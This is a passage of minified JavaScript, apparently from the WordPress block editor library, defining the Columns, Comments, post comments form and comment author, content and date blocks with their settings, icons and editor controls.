u?s=[...s,...Array.from({length:a-o}).map((()=>(0,Ge.createBlock)("core/column")))]:(s=s.slice(0,-(o-a)),c&&(s=fo(s,yo(s,100))));l(r,s)}})))((function(e){let{attributes:t,setAttributes:n,updateAlignment:o,updateColumns:a,clientId:r}=e;const{isStackedOnMobile:l,verticalAlignment:i}=t,{count:s}=(0,it.useSelect)((e=>({count:e(Ze.store).getBlockCount(r)})),[r]),c=at()({[`are-vertically-aligned-${i}`]:i,"is-not-stacked-on-mobile":!l}),u=(0,Ze.useBlockProps)({className:c}),m=(0,Ze.useInnerBlocksProps)(u,{allowedBlocks:ko,orientation:"horizontal",renderAppender:!1});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(Ze.BlockVerticalAlignmentToolbar,{onChange:o,value:i})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,null,(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Columns"),value:s,onChange:e=>a(s,e),min:1,max:Math.max(6,s)}),s>6&&(0,$e.createElement)(We.Notice,{status:"warning",isDismissible:!1},(0,je.__)("This column count exceeds the recommended amount and may cause visual breakage.")),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Stack on mobile"),checked:l,onChange:()=>n({isStackedOnMobile:!l})}))),(0,$e.createElement)("div",m))}));function wo(e){let{clientId:t,name:n,setAttributes:o}=e;const{blockType:a,defaultVariation:r,variations:l}=(0,it.useSelect)((e=>{const{getBlockVariations:t,getBlockType:o,getDefaultBlockVariation:a}=e(Ge.store);return{blockType:o(n),defaultVariation:a(n,"block"),variations:t(n,"block")}}),[n]),{replaceInnerBlocks:i}=(0,it.useDispatch)(Ze.store),s=(0,Ze.useBlockProps)();return(0,$e.createElement)("div",s,(0,$e.createElement)(Ze.__experimentalBlockVariationPicker,{icon:(0,St.get)(a,["icon","src"]),label:(0,St.get)(a,["title"]),variations:l,onSelect:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:r;e.attributes&&o(e.attributes),e.innerBlocks&&i(t,(0,Ge.createBlocksFromInnerBlocksTemplate)(e.innerBlocks),!0)},allowSkip:!0}))}const Eo=[{name:"one-column-full",title:(0,je.__)("100"),description:(0,je.__)("One column"),icon:(0,$e.createElement)(We.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"m39.0625 14h-30.0625v20.0938h30.0625zm-30.0625-2c-1.10457 0-2 .8954-2 2v20.0938c0 1.1045.89543 2 2 2h30.0625c1.1046 0 2-.8955 2-2v-20.0938c0-1.1046-.8954-2-2-2z"})),innerBlocks:[["core/column"]],scope:["block"]},{name:"two-columns-equal",title:(0,je.__)("50 / 50"),description:(0,je.__)("Two columns; equal split"),icon:(0,$e.createElement)(We.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M39 12C40.1046 12 41 12.8954 41 14V34C41 35.1046 40.1046 36 39 36H9C7.89543 36 7 35.1046 7 34V14C7 12.8954 7.89543 12 9 12H39ZM39 34V14H25V34H39ZM23 34H9V14H23V34Z"})),isDefault:!0,innerBlocks:[["core/column"],["core/column"]],scope:["block"]},{name:"two-columns-one-third-two-thirds",title:(0,je.__)("33 / 66"),description:(0,je.__)("Two columns; one-third, two-thirds split"),icon:(0,$e.createElement)(We.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M39 12C40.1046 12 41 12.8954 41 14V34C41 35.1046 40.1046 36 39 36H9C7.89543 36 7 35.1046 7 34V14C7 12.8954 7.89543 12 9 12H39ZM39 34V14H20V34H39ZM18 34H9V14H18V34Z"})),innerBlocks:[["core/column",{width:"33.33%"}],["core/column",{width:"66.66%"}]],scope:["block"]},{name:"two-columns-two-thirds-one-third",title:(0,je.__)("66 / 33"),description:(0,je.__)("Two columns; two-thirds, one-third split"),icon:(0,$e.createElement)(We.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M39 12C40.1046 12 41 12.8954 41 14V34C41 35.1046 40.1046 36 39 36H9C7.89543 36 7 35.1046 7 34V14C7 12.8954 7.89543 12 9 12H39ZM39 34V14H30V34H39ZM28 34H9V14H28V34Z"})),innerBlocks:[["core/column",{width:"66.66%"}],["core/column",{width:"33.33%"}]],scope:["block"]},{name:"three-columns-equal",title:(0,je.__)("33 / 33 / 33"),description:(0,je.__)("Three columns; equal split"),icon:(0,$e.createElement)(We.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{fillRule:"evenodd",d:"M41 14a2 2 0 0 0-2-2H9a2 2 0 0 0-2 2v20a2 2 0 0 0 2 2h30a2 2 0 0 0 2-2V14zM28.5 34h-9V14h9v20zm2 0V14H39v20h-8.5zm-13 0H9V14h8.5v20z"})),innerBlocks:[["core/column"],["core/column"],["core/column"]],scope:["block"]},{name:"three-columns-wider-center",title:(0,je.__)("25 / 50 / 25"),description:(0,je.__)("Three columns; wide center column"),icon:(0,$e.createElement)(We.SVG,{width:"48",height:"48",viewBox:"0 0 48 48",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(We.Path,{fillRule:"evenodd",d:"M41 14a2 2 0 0 0-2-2H9a2 2 0 0 0-2 2v20a2 2 0 0 0 2 2h30a2 2 0 0 0 2-2V14zM31 34H17V14h14v20zm2 0V14h6v20h-6zm-18 0H9V14h6v20z"})),innerBlocks:[["core/column",{width:"25%"}],["core/column",{width:"50%"}],["core/column",{width:"25%"}]],scope:["block"]}],Co={from:[{type:"block",isMultiBlock:!0,blocks:["*"],__experimentalConvert:e=>{const t=+(100/e.length).toFixed(2),n=e.map((e=>{let{name:n,attributes:o,innerBlocks:a}=e;return["core/column",{width:`${t}%`},[[n,{...o},a]]]}));return(0,Ge.createBlock)("core/columns",{},(0,Ge.createBlocksFromInnerBlocksTemplate)(n))},isMatch:(e,t)=>{let{length:n}=e;return(1!==t.length||"core/columns"!==t[0].name)&&n&&n<=6}},{type:"block",blocks:["core/media-text"],priority:1,transform:(e,t)=>{const{align:n,backgroundColor:o,textColor:a,style:r,mediaAlt:l,mediaId:i,mediaPosition:s,mediaSizeSlug:c,mediaType:u,mediaUrl:m,mediaWidth:d,verticalAlignment:p}=e;let g;g="image"!==u&&u?["core/video",{id:i,src:m}]:["core/image",{id:i,alt:l,url:m,sizeSlug:c,href:e.href,linkClass:e.linkClass,linkDestination:e.linkDestination,linkTarget:e.linkTarget,rel:e.rel}];const h=[["core/column",{width:`${d}%`},[g]],["core/column",{width:100-d+"%"},t]];return"right"===s&&h.reverse(),(0,Ge.createBlock)("core/columns",{align:n,backgroundColor:o,textColor:a,style:r,verticalAlignment:p},(0,Ge.createBlocksFromInnerBlocksTemplate)(h))}}]},So=Co,Bo={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/columns",title:"Columns",category:"design",description:"Display content in multiple columns, with blocks added to each column.",textdomain:"default",attributes:{verticalAlignment:{type:"string"},isStackedOnMobile:{type:"boolean",default:!0}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{blockGap:{__experimentalDefault:"2em",sides:["horizontal","vertical"]},margin:["top","bottom"],padding:!0,__experimentalDefaultControls:{padding:!0}},__experimentalLayout:{allowSwitching:!1,allowInheriting:!1,allowEditing:!1,default:{type:"flex",flexWrap:"nowrap"}},__experimentalBorder:{color:!0,radius:!0,style:!0,width:!0,__experimentalDefaultControls:{color:!0,radius:!0,style:!0,width:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-columns-editor",style:"wp-block-columns"},{name:To}=Bo,No={icon:mo,variations:Eo,example:{viewportWidth:600,innerBlocks:[{name:"core/column",innerBlocks:[{name:"core/paragraph",attributes:{
/* translators: example text. */
content:(0,je.__)("Lorem ipsum dolor sit amet, consectetur adipiscing elit. Praesent et eros eu felis.")}},{name:"core/image",attributes:{url:"https://s.w.org/images/core/5.3/Windbuchencom.jpg"}},{name:"core/paragraph",attributes:{
/* translators: example text. */
content:(0,je.__)("Suspendisse commodo neque lacus, a dictum orci interdum et.")}}]},{name:"core/column",innerBlocks:[{name:"core/paragraph",attributes:{
/* translators: example text. */
content:(0,je.__)("Etiam et egestas lorem. Vivamus sagittis sit amet dolor quis lobortis. Integer sed fermentum arcu, id vulputate lacus. Etiam fermentum sem eu quam hendrerit.")}},{name:"core/paragraph",attributes:{
/* translators: example text. */
content:(0,je.__)("Nam risus massa, ullamcorper consectetur eros fermentum, porta aliquet ligula. Sed vel mauris nec enim.")}}]}]},deprecated:go,edit:e=>{const{clientId:t}=e,n=(0,it.useSelect)((e=>e(Ze.store).getBlocks(t).length>0),[t])?xo:wo;return(0,$e.createElement)(n,e)},save:function(e){let{attributes:t}=e;const{isStackedOnMobile:n,verticalAlignment:o}=t,a=at()({[`are-vertically-aligned-${o}`]:o,"is-not-stacked-on-mobile":!n}),r=Ze.useBlockProps.save({className:a}),l=Ze.useInnerBlocksProps.save(r);return(0,$e.createElement)("div",l)},transforms:So},Po=()=>qe({name:To,metadata:Bo,settings:No}),Io=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M14 10.1V4c0-.6-.4-1-1-1H5c-.6 0-1 .4-1 1v8.3c0 .3.2.7.6.8.1.1.2.1.3.1.2 0 .5-.1.6-.3l1.8-1.8H13c.6 0 1-.4 1-1zm-1.5-.5H6.7l-1.2 1.2V4.5h7v5.1zM19 12h-8c-.6 0-1 .4-1 1v6.1c0 .6.4 1 1 1h5.7l1.8 1.8c.1.2.4.3.6.3.1 0 .2 0 .3-.1.4-.1.6-.5.6-.8V13c0-.6-.4-1-1-1zm-.5 7.8l-1.2-1.2h-5.8v-5.1h7v6.3z"})),zo=[{attributes:{tagName:{type:"string",default:"div"}},apiVersion:2,supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}}},save(e){let{attributes:{tagName:t}}=e;const n=Ze.useBlockProps.save(),{className:o}=n,a=(null==o?void 0:o.split(" "))||[],r=null==a?void 0:a.filter((e=>"wp-block-comments"!==e)),l={...n,className:r.join(" ")};return(0,$e.createElement)(t,l,(0,$e.createElement)(Ze.InnerBlocks.Content,null))}}];function Mo(e){let{attributes:{TagName:t},setAttributes:n}=e;return(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(Ze.InspectorControls,{__experimentalGroup:"advanced"},(0,$e.createElement)(We.SelectControl,{label:(0,je.__)("HTML element"),options:[{label:(0,je.__)("Default (<div>)"),value:"div"},{label:"<section>",value:"section"},{label:"<aside>",value:"aside"}],value:t,onChange:e=>n({tagName:e})})))}const Lo=()=>{const e=(0,Wt.useDisabled)(),t=(0,Wt.useInstanceId)(Lo);return(0,$e.createElement)("div",{className:"comment-respond"},(0,$e.createElement)("h3",{className:"comment-reply-title"},(0,je.__)("Leave a Reply")),(0,$e.createElement)("form",{noValidate:!0,className:"comment-form",ref:e},(0,$e.createElement)("p",null,(0,$e.createElement)("label",{htmlFor:`comment-${t}`},(0,je.__)("Comment")),(0,$e.createElement)("textarea",{id:`comment-${t}`,name:"comment",cols:"45",rows:"8"})),(0,$e.createElement)("p",{className:"form-submit wp-block-button"},(0,$e.createElement)("input",{name:"submit",type:"submit",className:at()("wp-block-button__link",(0,Ze.__experimentalGetElementClassName)("button")),label:(0,je.__)("Post Comment"),value:(0,je.__)("Post Comment")}))))},Ro=e=>{let{postId:t,postType:n}=e;const[o,a]=(0,lt.useEntityProp)("postType",n,"comment_status",t),r=void 0===n||void 0===t,{defaultCommentStatus:l}=(0,it.useSelect)((e=>e(Ze.store).getSettings().__experimentalDiscussionSettings)),i=(0,it.useSelect)((e=>{var t;return!!n&&!(null===(t=e(lt.store).getPostType(n))||void 0===t||!t.supports.comments)}));if(!r&&"open"!==o){if("closed"===o){const e=[(0,$e.createElement)(We.Button,{key:"enableComments",onClick:()=>a("open"),variant:"primary"},(0,je._x)("Enable comments","action that affects the current post"))];return(0,$e.createElement)(Ze.Warning,{actions:e},(0,je.__)("Post Comments Form block: Comments are not enabled for this item."))}if(!i)return(0,$e.createElement)(Ze.Warning,null,(0,je.sprintf)(
/* translators: 1: Post type (i.e. "post", "page") */
(0,je.__)("Post Comments Form block: Comments are not enabled for this post type (%s)."),n));if("open"!==l)return(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Post Comments Form block: Comments are not enabled."))}return(0,$e.createElement)(Lo,null)};function Ao(e){let{postType:t,postId:n}=e,[o]=(0,lt.useEntityProp)("postType",t,"title",n);o=o||(0,je.__)("Post Title");const{avatarURL:a}=(0,it.useSelect)((e=>e(Ze.store).getSettings().__experimentalDiscussionSettings)),r=(0,Wt.useDisabled)();return(0,$e.createElement)("div",{className:"wp-block-comments__legacy-placeholder",ref:r},(0,$e.createElement)("h3",null,
/* translators: %s: Post title. */
(0,je.sprintf)((0,je.__)("One response to %s"),o)),(0,$e.createElement)("div",{className:"navigation"},(0,$e.createElement)("div",{className:"alignleft"},(0,$e.createElement)("a",{href:"#top"},"« ",(0,je.__)("Older Comments"))),(0,$e.createElement)("div",{className:"alignright"},(0,$e.createElement)("a",{href:"#top"},(0,je.__)("Newer Comments")," »"))),(0,$e.createElement)("ol",{className:"commentlist"},(0,$e.createElement)("li",{className:"comment even thread-even depth-1"},(0,$e.createElement)("article",{className:"comment-body"},(0,$e.createElement)("footer",{className:"comment-meta"},(0,$e.createElement)("div",{className:"comment-author vcard"},(0,$e.createElement)("img",{alt:"Commenter Avatar",src:a,className:"avatar avatar-32 photo",height:"32",width:"32",loading:"lazy"}),(0,$e.createElement)("b",{className:"fn"},(0,$e.createElement)("a",{href:"#top",className:"url"},(0,je.__)("A WordPress Commenter")))," ",(0,$e.createElement)("span",{className:"says"},(0,je.__)("says"),":")),(0,$e.createElement)("div",{className:"comment-metadata"},(0,$e.createElement)("a",{href:"#top"},(0,$e.createElement)("time",{dateTime:"2000-01-01T00:00:00+00:00"},(0,je.__)("January 1, 2000 at 00:00 am")))," ",(0,$e.createElement)("span",{className:"edit-link"},(0,$e.createElement)("a",{className:"comment-edit-link",href:"#top"},(0,je.__)("Edit"))))),(0,$e.createElement)("div",{className:"comment-content"},(0,$e.createElement)("p",null,(0,je.__)("Hi, this is a comment."),(0,$e.createElement)("br",null),(0,je.__)("To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard."),(0,$e.createElement)("br",null),(0,je.__)("Commenter avatars come from")," ",(0,$e.createElement)("a",{href:"https://gravatar.com/"},"Gravatar"),".")),(0,$e.createElement)("div",{className:"reply"},(0,$e.createElement)("a",{className:"comment-reply-link",href:"#top","aria-label":"Reply to A WordPress Commenter"},(0,je.__)("Reply")))))),(0,$e.createElement)("div",{className:"navigation"},(0,$e.createElement)("div",{className:"alignleft"},(0,$e.createElement)("a",{href:"#top"},"« ",(0,je.__)("Older Comments"))),(0,$e.createElement)("div",{className:"alignright"},(0,$e.createElement)("a",{href:"#top"},(0,je.__)("Newer Comments")," »"))),(0,$e.createElement)(Ro,{postId:n,postType:t}))}function Vo(e){let{attributes:t,setAttributes:n,context:{postType:o,postId:a}}=e;const{textAlign:r}=t,l=[(0,$e.createElement)(We.Button,{key:"convert",onClick:()=>{n({legacy:!1})},variant:"primary"},(0,je.__)("Switch to editable mode"))],i=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${r}`]:r})});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:r,onChange:e=>{n({textAlign:e})}})),(0,$e.createElement)("div",i,(0,$e.createElement)(Ze.Warning,{actions:l},(0,je.__)("Comments block: You’re currently using the legacy version of the block. The following is just a placeholder - the final styling will likely look different. For a better representation and more customization options, switch the block to its editable mode.")),(0,$e.createElement)(Ao,{postId:a,postType:o})))}const Ho=[["core/comments-title"],["core/comment-template",{},[["core/columns",{},[["core/column",{width:"40px"},[["core/avatar",{size:40,style:{border:{radius:"20px"}}}]]],["core/column",{},[["core/comment-author-name",{fontSize:"small"}],["core/group",{layout:{type:"flex"},style:{spacing:{margin:{top:"0px",bottom:"0px"}}}},[["core/comment-date",{fontSize:"small"}],["core/comment-edit-link",{fontSize:"small"}]]],["core/comment-content"],["core/comment-reply-link",{fontSize:"small"}]]]]]]],["core/comments-pagination"],["core/post-comments-form"]],Do={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comments",title:"Comments",category:"theme",description:"An advanced block that allows displaying post comments using different visual configurations.",textdomain:"default",attributes:{tagName:{type:"string",default:"div"},legacy:{type:"boolean",default:!1}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}},editorStyle:"wp-block-comments-editor",usesContext:["postId","postType"]},{name:Fo}=Do,Go={icon:Io,edit:function(e){const{attributes:t,setAttributes:n}=e,{tagName:o,legacy:a}=t,r=(0,Ze.useBlockProps)(),l=(0,Ze.useInnerBlocksProps)(r,{template:Ho});return a?(0,$e.createElement)(Vo,e):(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Mo,{attributes:t,setAttributes:n}),(0,$e.createElement)(o,l))},save:function(e){let{attributes:{tagName:t,legacy:n}}=e;const o=Ze.useBlockProps.save(),a=Ze.useInnerBlocksProps.save(o);return n?null:(0,$e.createElement)(t,a)},deprecated:zo},$o=()=>qe({name:Fo,metadata:Do,settings:Go}),Uo={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,__experimental:"fse",name:"core/comment-author-avatar",title:"Comment Author Avatar (deprecated)",category:"theme",ancestor:["core/comment-template"],description:"This block is deprecated. Please use the Avatar block instead.",textdomain:"default",attributes:{width:{type:"number",default:96},height:{type:"number",default:96}},usesContext:["commentId"],supports:{html:!1,inserter:!1,__experimentalBorder:{radius:!0,width:!0,color:!0,style:!0},color:{background:!0,text:!1,__experimentalDefaultControls:{background:!0}},spacing:{__experimentalSkipSerialization:!0,margin:!0,padding:!0}}},{name:Oo}=Uo,qo={icon:tt,edit:function(e){let{attributes:t,context:{commentId:n},setAttributes:o,isSelected:a}=e;const{height:r,width:l}=t,[i]=(0,lt.useEntityProp)("root","comment","author_avatar_urls",n),[s]=(0,lt.useEntityProp)("root","comment","author_name",n),c=i?Object.values(i):null,u=i?Object.keys(i):null,m=u?u[0]:24,d=u?u[u.length-1]:96,p=(0,Ze.useBlockProps)(),g=(0,Ze.__experimentalGetSpacingClassesAndStyles)(t),h=Math.floor(2.5*d),{avatarURL:v}=(0,it.useSelect)((e=>{const{getSettings:t}=e(Ze.store),{__experimentalDiscussionSettings:n}=t();return n})),b=(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Avatar Settings")},(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Image size"),onChange:e=>o({width:e,height:e}),min:m,max:h,initialPosition:l,value:l}))),_=(0,$e.createElement)(We.ResizableBox,{size:{width:l,height:r},showHandle:a,onResizeStop:(e,t,n,a)=>{o({height:parseInt(r+a.height,10),width:parseInt(l+a.width,10)})},lockAspectRatio:!0,enable:{top:!1,right:!(0,je.isRTL)(),bottom:!0,left:(0,je.isRTL)()},minWidth:m,maxWidth:h},(0,$e.createElement)("img",nt({src:c?c[c.length-1]:v,alt:`${s} ${(0,je.__)("Avatar")}`},p)));return(0,$e.createElement)($e.Fragment,null,b,(0,$e.createElement)("div",g,_))}},Wo=()=>qe({name:Oo,metadata:Uo,settings:qo}),jo=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M18 4H6c-1.1 0-2 .9-2 2v12.9c0 .6.5 1.1 1.1 1.1.3 0 .5-.1.8-.3L8.5 17H18c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 11c0 .3-.2.5-.5.5H7.9l-2.4 2.4V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v9z",fillRule:"evenodd",clipRule:"evenodd"}),(0,$e.createElement)(Ue.Path,{d:"M15 15V15C15 13.8954 14.1046 13 13 13L11 13C9.89543 13 9 13.8954 9 15V15",fillRule:"evenodd",clipRule:"evenodd"}),(0,$e.createElement)(Ue.Circle,{cx:"12",cy:"9",r:"2",fillRule:"evenodd",clipRule:"evenodd"})),Zo={attributes:{isLink:{type:"boolean",default:!1},linkTarget:{type:"string",default:"_self"}},supports:{html:!1,color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0}},save:()=>null,migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},Qo=[Zo],Ko={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comment-author-name",title:"Comment Author Name",category:"theme",ancestor:["core/comment-template"],description:"Displays the name of the author of the comment.",textdomain:"default",attributes:{isLink:{type:"boolean",default:!0},linkTarget:{type:"string",default:"_self"},textAlign:{type:"string"}},usesContext:["commentId"],supports:{html:!1,spacing:{margin:!0,padding:!0},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:Yo}=Ko,Jo={icon:jo,edit:function(e){let{attributes:{isLink:t,linkTarget:n,textAlign:o},context:{commentId:a},setAttributes:r}=e;const l=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${o}`]:o})});let i=(0,it.useSelect)((e=>{const{getEntityRecord:t}=e(lt.store),n=t("root","comment",a),o=null==n?void 0:n.author_name;if(n&&!o){var r;const e=t("root","user",n.author);return null!==(r=null==e?void 0:e.name)&&void 0!==r?r:(0,je.__)("Anonymous")}return null!=o?o:""}),[a]);const s=(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:o,onChange:e=>r({textAlign:e})})),c=(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Link to authors URL"),onChange:()=>r({isLink:!t}),checked:t}),t&&(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>r({linkTarget:e?"_blank":"_self"}),checked:"_blank"===n})));a&&i||(i=(0,je._x)("Comment Author","block title"));const u=t?(0,$e.createElement)("a",{href:"#comment-author-pseudo-link",onClick:e=>e.preventDefault()},i):i;return(0,$e.createElement)($e.Fragment,null,c,s,(0,$e.createElement)("div",l,u))},deprecated:Qo},Xo=()=>qe({name:Yo,metadata:Ko,settings:Jo}),ea=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M6.68822 16.625L5.5 17.8145L5.5 5.5L18.5 5.5L18.5 16.625L6.68822 16.625ZM7.31 18.125L19 18.125C19.5523 18.125 20 17.6773 20 17.125L20 5C20 4.44772 19.5523 4 19 4H5C4.44772 4 4 4.44772 4 5V19.5247C4 19.8173 4.16123 20.086 4.41935 20.2237C4.72711 20.3878 5.10601 20.3313 5.35252 20.0845L7.31 18.125ZM16 9.99997H8V8.49997H16V9.99997ZM8 14H13V12.5H8V14Z"})),ta={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comment-content",title:"Comment Content",category:"theme",ancestor:["core/comment-template"],description:"Displays the contents of a comment.",textdomain:"default",usesContext:["commentId"],attributes:{textAlign:{type:"string"}},supports:{color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},spacing:{padding:["horizontal","vertical"],__experimentalDefaultControls:{padding:!0}},html:!1}},{name:na}=ta,oa={icon:ea,edit:function(e){let{setAttributes:t,attributes:{textAlign:n},context:{commentId:o}}=e;const a=(0,Ze.useBlockProps)({className:at()({[`has-text-align-${n}`]:n})}),[r]=(0,lt.useEntityProp)("root","comment","content",o),l=(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:n,onChange:e=>t({textAlign:e})}));return o&&r?(0,$e.createElement)($e.Fragment,null,l,(0,$e.createElement)("div",a,(0,$e.createElement)(We.Disabled,null,(0,$e.createElement)($e.RawHTML,{key:"html"},r.rendered)))):(0,$e.createElement)($e.Fragment,null,l,(0,$e.createElement)("div",a,(0,$e.createElement)("p",null,(0,je._x)("Comment Content","block title"))))}},aa=()=>qe({name:na,metadata:ta,settings:oa}),ra=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M11.696 13.972c.356-.546.599-.958.728-1.235a1.79 1.79 0 00.203-.783c0-.264-.077-.47-.23-.618-.148-.153-.354-.23-.618-.23-.295 0-.569.07-.82.212a3.413 3.413 0 00-.738.571l-.147-1.188c.289-.234.59-.41.903-.526.313-.117.66-.175 1.041-.175.375 0 .695.08.959.24.264.153.46.362.59.626.135.265.203.556.203.876 0 .362-.08.734-.24 1.115-.154.381-.427.87-.82 1.466l-.756 1.152H14v1.106h-4l1.696-2.609z"}),(0,$e.createElement)(Ue.Path,{d:"M19.5 7h-15v12a.5.5 0 00.5.5h14a.5.5 0 00.5-.5V7zM3 7V5a2 2 0 012-2h14a2 2 0 012 2v14a2 2 0 01-2 2H5a2 2 0 01-2-2V7z"})),la=window.wp.date,ia={attributes:{format:{type:"string"},isLink:{type:"boolean",default:!1}},supports:{html:!1,color:{gradients:!0,link:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0}},save:()=>null,migrate:Kt,isEligible(e){var t;let{style:n}=e;return null==n||null===(t=n.typography)||void 0===t?void 0:t.fontFamily}},sa=[ia],ca={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/comment-date",title:"Comment Date",category:"theme",ancestor:["core/comment-template"],description:"Displays the date on which the comment was posted.",textdomain:"default",attributes:{format:{type:"string"},isLink:{type:"boolean",default:!0}},usesContext:["commentId"],supports:{html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}}}},{name:ua}=ca,ma={icon:ra,edit:function(e){let{attributes:{format:t,isLink:n},context:{commentId:o},setAttributes:a}=e;const r=(0,Ze.useBlockProps)();let[l]=(0,lt.useEntityProp)("root","comment","date",o);const[i=(0,la.getSettings)().formats.date]=(0,lt.useEntityProp)("root","site","date_format"),s=(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(Ze.__experimentalDateFormatPicker,{format:t,defaultFormat:i,onChange:e=>a({format:e})}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Link to comment"),onChange:()=>a({isLink:!n}),checked:n})));o&&l||(l=(0,je._x)("Comment Date","block title"));let c=l instanceof Date?(0,$e.createElement)("time",{dateTime:(0,la.dateI18n)("c",l)},(0,la.dateI18n)(t||i,l)):(0,$e.createElement)("time",null,l);return n&&(c=(0,$e.createElement)("a",{href:"#comment-date-pseudo-link",onClick:e=>e.preventDefault()},c)),(0,$e.createElement)($e.Fragment,null,s,(0,$e.createElement)("div",r,c))},deprecated:sa},da=()=>qe({name:ua,metadata:ca,settings:ma}),pa=(0,$e.createElement)(Ue.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"m6.249 11.065.44-.44h3.186l-1.5 1.5H7.31l-1.957 